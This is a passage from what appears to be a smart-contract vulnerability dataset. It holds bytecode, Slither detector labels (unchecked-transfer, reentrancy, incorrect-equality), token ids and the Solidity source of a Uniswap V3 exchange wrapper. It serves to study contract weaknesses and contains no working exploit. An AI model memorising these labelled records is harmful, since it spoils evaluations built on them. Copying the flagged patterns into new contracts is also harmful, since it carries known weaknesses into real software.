8284200196909655600587018054968701815582529020909301919091556003909201805460ff1916921515929092179091555050565b61126a6113fe565b6001600160a01b031661127b611004565b6001600160a01b0316146112c4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc7833981519152604482015290519081900360640190fd5b6000600384815481106112d357fe5b9060005260206000209060070201905081816005018460ff1681548110610b6057fe5b6112fe6113fe565b6001600160a01b031661130f611004565b6001600160a01b031614611358576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc7833981519152604482015290519081900360640190fd5b6001600160a01b03811661139d5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b336026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60025481565b3390565b6000826114115750600061072c565b8282028284828161141e57fe5b0414610ffd5760405162461bcd60e51b8152600401808060200182810382526021815260200180611ba66021913960400191505060405180910390fd5b60008082116114b1576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816114ba57fe5b049392505050565b600082820183811015610ffd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611573576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156115c457600080fd5b505afa1580156115d8573d6000803e3d6000fd5b505050506040513d60208110156115ee57600080fd5b5051905080821115611682576001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561165057600080fd5b505af1158015611664573d6000803e3d6000fd5b505050506040513d602081101561167a57600080fd5b506117059050565b6001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156116d857600080fd5b505af11580156116ec573d6000803e3d6000fd5b505050506040513d602081101561170257600080fd5b50505b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117059084906117bc565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526117b69085906117bc565b50505050565b6060611811826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661186d9092919063ffffffff16565b8051909150156117055780806020019051602081101561183057600080fd5b50516117055760405162461bcd60e51b815260040180806020018281038252602a815260200180611be7602a913960400191505060405180910390fd5b606061187c8484600085611884565b949350505050565b6060824710156118c55760405162461bcd60e51b8152600401808060200182810382526026815260200180611b806026913960400191505060405180910390fd5b6118ce856119e0565b61191f576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061195e5780518252601f19909201916020918201910161193f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146119c0576040519150601f19603f3d011682016040523d82523d6000602084013e6119c5565b606091505b50915091506119d58282866119e6565b979650505050505050565b3b151590565b606083156119f5575081610ffd565b825115611a055782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a4f578181015183820152602001611a37565b50505050905090810190601f168015611a7c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6040518060e0016040528060006001600160a01b0316815260200160008152602001600081526020016000151581526020016000815260200160608152602001606081525090565b828054828255906000526020600020908101928215611b0d579160200282015b82811115611b0d578251825591602001919060010190611af2565b50611b19929150611b1d565b5090565b5b80821115611b195760008155600101611b1e56fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d433a205f6c70546f6b656e2073686f756c64206e6f742062652061646472657373207a65726f416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565644d433a205374616b696e6720456e6465642c20506c6561736520776974686472617720796f757220746f6b656e73a264697066735822122033932a338f0c45db5aaaacbf5ce25968ba8387a1427a2626118caec1a4a70aa664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2094, 19481, 2629, 2497, 28756, 2620, 2094, 8889, 2581, 19317, 21084, 2683, 2497, 2850, 19961, 2549, 4215, 2509, 9468, 28154, 26224, 3540, 2487, 2497, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4372, 17897, 16670, 13462, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,315
0x968d4f63631c73df0461513924298b102b4709e8
// SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma experimental ABIEncoderV2; interface IERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // File contracts/interfaces/IWETH.sol abstract contract IWETH { function allowance(address, address) public virtual view returns (uint256); function balanceOf(address) public virtual view returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom( address, address, uint256 ) public virtual returns (bool); function deposit() public payable virtual; function withdraw(uint256) public virtual; } // File contracts/utils/Address.sol library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/utils/SafeMath.sol library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/utils/SafeERC20.sol library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /// @dev Edited so it always first approves 0 and then the value, because of non standard tokens function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/utils/TokenUtils.sol library TokenUtils { using SafeERC20 for IERC20; address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function approveToken( address _tokenAddr, address _to, uint256 _amount ) internal { if (_tokenAddr == ETH_ADDR) return; if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) { IERC20(_tokenAddr).safeApprove(_to, _amount); } } function pullTokensIfNeeded( address _token, address _from, uint256 _amount ) internal returns (uint256) { // handle max uint amount if (_amount == type(uint256).max) { _amount = getBalance(_token, _from); } if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) { IERC20(_token).safeTransferFrom(_from, address(this), _amount); } return _amount; } function withdrawTokens( address _token, address _to, uint256 _amount ) internal returns (uint256) { if (_amount == type(uint256).max) { _amount = getBalance(_token, address(this)); } if (_to != address(0) && _to != address(this) && _amount != 0) { if (_token != ETH_ADDR) { IERC20(_token).safeTransfer(_to, _amount); } else { payable(_to).transfer(_amount); } } return _amount; } function depositWeth(uint256 _amount) internal { IWETH(WETH_ADDR).deposit{value: _amount}(); } function withdrawWeth(uint256 _amount) internal { IWETH(WETH_ADDR).withdraw(_amount); } function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) { if (_tokenAddr == ETH_ADDR) { return _acc.balance; } else { return IERC20(_tokenAddr).balanceOf(_acc); } } function getTokenDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return IERC20(_token).decimals(); } } // File contracts/interfaces/exchange/IExchangeV3.sol interface IExchangeV3 { function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external returns (uint); } // File contracts/interfaces/exchange/ISwapRouter.sol /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // File contracts/interfaces/exchange/IQuoter.sol /// @title Quoter Interface /// @notice Supports quoting the calculated amounts from exact input or exact output swaps /// @dev These functions are not marked view because they rely on calling non-view functions and reverting /// to compute the result. They are also not gas efficient and should not be called on-chain. interface IQuoter { /// @notice Returns the amount out received for a given exact input swap without executing the swap /// @param path The path of the swap, i.e. each token pair and the pool fee /// @param amountIn The amount of the first token to swap /// @return amountOut The amount of the last token that would be received function quoteExactInput(bytes memory path, uint256 amountIn) external returns (uint256 amountOut); /// @notice Returns the amount out received for a given exact input but for a swap of a single pool /// @param tokenIn The token being swapped in /// @param tokenOut The token being swapped out /// @param fee The fee of the token pool to consider for the pair /// @param amountIn The desired input amount /// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap /// @return amountOut The amount of `tokenOut` that would be received function quoteExactInputSingle( address tokenIn, address tokenOut, uint24 fee, uint256 amountIn, uint160 sqrtPriceLimitX96 ) external returns (uint256 amountOut); /// @notice Returns the amount in required for a given exact output swap without executing the swap /// @param path The path of the swap, i.e. each token pair and the pool fee /// @param amountOut The amount of the last token to receive /// @return amountIn The amount of first token required to be paid function quoteExactOutput(bytes memory path, uint256 amountOut) external returns (uint256 amountIn); /// @notice Returns the amount in required to receive the given exact output amount but for a swap of a single pool /// @param tokenIn The token being swapped in /// @param tokenOut The token being swapped out /// @param fee The fee of the token pool to consider for the pair /// @param amountOut The desired output amount /// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap /// @return amountIn The amount required as the input for the swap in order to receive `amountOut` function quoteExactOutputSingle( address tokenIn, address tokenOut, uint24 fee, uint256 amountOut, uint160 sqrtPriceLimitX96 ) external returns (uint256 amountIn); } // File contracts/DS/DSMath.sol contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, ""); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, ""); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, ""); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // File contracts/interfaces/IDFSRegistry.sol abstract contract IDFSRegistry { function getAddr(bytes32 _id) public view virtual returns (address); function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public virtual; function startContractChange(bytes32 _id, address _newContractAddr) public virtual; function approveContractChange(bytes32 _id) public virtual; function cancelContractChange(bytes32 _id) public virtual; function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual; } // File contracts/auth/AdminVault.sol /// @title A stateful contract that holds and can change owner/admin contract AdminVault { address public owner; address public admin; constructor() { owner = msg.sender; admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function changeOwner(address _owner) public { require(admin == msg.sender, "msg.sender not admin"); owner = _owner; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function changeAdmin(address _admin) public { require(admin == msg.sender, "msg.sender not admin"); admin = _admin; } } // File contracts/auth/AdminAuth.sol /// @title AdminAuth Handles owner/admin privileges over smart contracts contract AdminAuth { using SafeERC20 for IERC20; address public constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD; AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR); modifier onlyOwner() { require(adminVault.owner() == msg.sender, "msg.sender not owner"); _; } modifier onlyAdmin() { require(adminVault.admin() == msg.sender, "msg.sender not admin"); _; } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(_receiver).transfer(_amount); } else { IERC20(_token).safeTransfer(_receiver, _amount); } } /// @notice Destroy the contract function kill() public onlyAdmin { selfdestruct(payable(msg.sender)); } } // File contracts/exchangeV3/wrappersV3/UniV3WrapperV3.sol /// @title DFS exchange wrapper for UniswapV2 contract UniV3WrapperV3 is DSMath, IExchangeV3, AdminAuth { using TokenUtils for address; using SafeERC20 for IERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; ISwapRouter public constant router = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); IQuoter public constant quoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6); /// @notice Sells _srcAmount of tokens at UniswapV3 /// @param _srcAddr From token /// @param _srcAmount From amount /// @param _additionalData Path for swapping /// @return uint amount of tokens received from selling function sell(address _srcAddr, address, uint _srcAmount, bytes calldata _additionalData) external override returns (uint) { IERC20(_srcAddr).safeApprove(address(router), _srcAmount); ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({ path: _additionalData, recipient: msg.sender, deadline: block.timestamp + 1, amountIn: _srcAmount, amountOutMinimum: 1 }); uint amountOut = router.exactInput(params); return amountOut; } /// @notice Buys _destAmount of tokens at UniswapV3 /// @param _srcAddr From token /// @param _destAmount To amount /// @param _additionalData Path for swapping /// @return uint amount of _srcAddr tokens sent for transaction function buy(address _srcAddr, address, uint _destAmount, bytes calldata _additionalData) external override returns(uint) { uint srcAmount = _srcAddr.getBalance(address(this)); IERC20(_srcAddr).safeApprove(address(router), srcAmount); ISwapRouter.ExactOutputParams memory params = ISwapRouter.ExactOutputParams({ path: _additionalData, recipient: msg.sender, deadline: block.timestamp + 1, amountOut: _destAmount, amountInMaximum: type(uint).max }); uint amountIn = router.exactOutput(params); sendLeftOver(_srcAddr); return amountIn; } function getSellRate(address, address, uint _srcAmount, bytes memory _additionalData) public override returns (uint) { return quoter.quoteExactInput(_additionalData, _srcAmount); } function getBuyRate(address, address, uint _destAmount, bytes memory _additionalData) public override returns (uint) { return quoter.quoteExactOutput(_additionalData, _destAmount); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { IERC20(_srcAddr).safeTransfer(msg.sender, IERC20(_srcAddr).balanceOf(address(this))); } } // solhint-disable-next-line no-empty-blocks receive() external payable {} }
0x6080604052600436106100a05760003560e01c80635b6f36fc116100645780635b6f36fc1461015b5780638cedca711461017b578063c579d49014610190578063c6bbd5a7146101b0578063cd4709cb1461017b578063f887ea40146101c5576100a7565b806329f7fc9e146100ac5780633924db66146100d757806341c0e1b51461010457806349d666441461011b57806354123c121461013b576100a7565b366100a757005b600080fd5b3480156100b857600080fd5b506100c16101da565b6040516100ce9190610dbd565b60405180910390f35b3480156100e357600080fd5b506100f76100f2366004610b8e565b6101f2565b6040516100ce9190610f2b565b34801561011057600080fd5b5061011961033b565b005b34801561012757600080fd5b506100f7610136366004610c28565b6103fc565b34801561014757600080fd5b506100f7610156366004610c28565b610495565b34801561016757600080fd5b506100f7610176366004610b8e565b6104d1565b34801561018757600080fd5b506100c16105e8565b34801561019c57600080fd5b506101196101ab366004610b4e565b610600565b3480156101bc57600080fd5b506100c161072f565b3480156101d157600080fd5b506100c1610747565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b6000806102086001600160a01b0388163061075f565b90506102326001600160a01b03881673e592427a0aece92de3edee1f18e0157c058615648361081c565b6040805160c06020601f8701819004028201810190925260a081018581526000928291908890889081908501838280828437600092018290525093855250503360208401525060014201604080840191909152606083018a90526000196080909301929092529051631e51809360e31b81529192509073e592427a0aece92de3edee1f18e0157c058615649063f28c0498906102d2908590600401610f18565b602060405180830381600087803b1580156102ec57600080fd5b505af1158015610300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103249190610d0c565b905061032f89610892565b98975050505050505050565b336001600160a01b031673ccf3d848e08b94478ed8f46ffead3008faf581fd6001600160a01b031663f851a4406040518163ffffffff1660e01b815260040160206040518083038186803b15801561039257600080fd5b505afa1580156103a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ca9190610b2b565b6001600160a01b0316146103f95760405162461bcd60e51b81526004016103f090610e69565b60405180910390fd5b33ff5b604051632f80bb1d60e01b815260009073b27308f9f90d607463bb33ea1bebb41c27ce5ab690632f80bb1d906104389085908790600401610e06565b602060405180830381600087803b15801561045257600080fd5b505af1158015610466573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048a9190610d0c565b90505b949350505050565b60405163cdca175360e01b815260009073b27308f9f90d607463bb33ea1bebb41c27ce5ab69063cdca1753906104389085908790600401610e06565b60006104fb6001600160a01b03871673e592427a0aece92de3edee1f18e0157c058615648661081c565b6040805160c06020601f8601819004028201810190925260a08101848152600092829190879087908190850183828082843760009201829052509385525050336020840152506001428101604080850191909152606084018a9052608090930152905163c04b8d5960e01b81529192509073e592427a0aece92de3edee1f18e0157c058615649063c04b8d5990610596908590600401610f18565b602060405180830381600087803b1580156105b057600080fd5b505af11580156105c4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061032f9190610d0c565b73ccf3d848e08b94478ed8f46ffead3008faf581fd81565b336001600160a01b031673ccf3d848e08b94478ed8f46ffead3008faf581fd6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561065757600080fd5b505afa15801561066b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068f9190610b2b565b6001600160a01b0316146106b55760405162461bcd60e51b81526004016103f090610e3b565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0384161415610716576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610710573d6000803e3d6000fd5b5061072a565b61072a6001600160a01b0384168383610977565b505050565b73b27308f9f90d607463bb33ea1bebb41c27ce5ab681565b73e592427a0aece92de3edee1f18e0157c0586156481565b60006001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561079757506001600160a01b03811631610816565b6040516370a0823160e01b81526001600160a01b038416906370a08231906107c3908590600401610dbd565b60206040518083038186803b1580156107db57600080fd5b505afa1580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108139190610d0c565b90505b92915050565b6108738363095ea7b360e01b84600060405160240161083c929190610dd1565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610996565b61072a8363095ea7b360e01b848460405160240161083c929190610ded565b60405133904780156108fc02916000818181858888f193505050501580156108be573d6000803e3d6000fd5b506001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146109745761097433826001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016109139190610dbd565b60206040518083038186803b15801561092b57600080fd5b505afa15801561093f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109639190610d0c565b6001600160a01b0384169190610977565b50565b61072a8363a9059cbb60e01b848460405160240161083c929190610ded565b60006109eb826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610a259092919063ffffffff16565b80519091501561072a5780806020019051810190610a099190610cec565b61072a5760405162461bcd60e51b81526004016103f090610ece565b606061048d84846000856060610a3a85610af2565b610a565760405162461bcd60e51b81526004016103f090610e97565b600080866001600160a01b03168587604051610a729190610da1565b60006040518083038185875af1925050503d8060008114610aaf576040519150601f19603f3d011682016040523d82523d6000602084013e610ab4565b606091505b50915091508115610ac857915061048d9050565b805115610ad85780518082602001fd5b8360405162461bcd60e51b81526004016103f09190610e28565b6000813f7f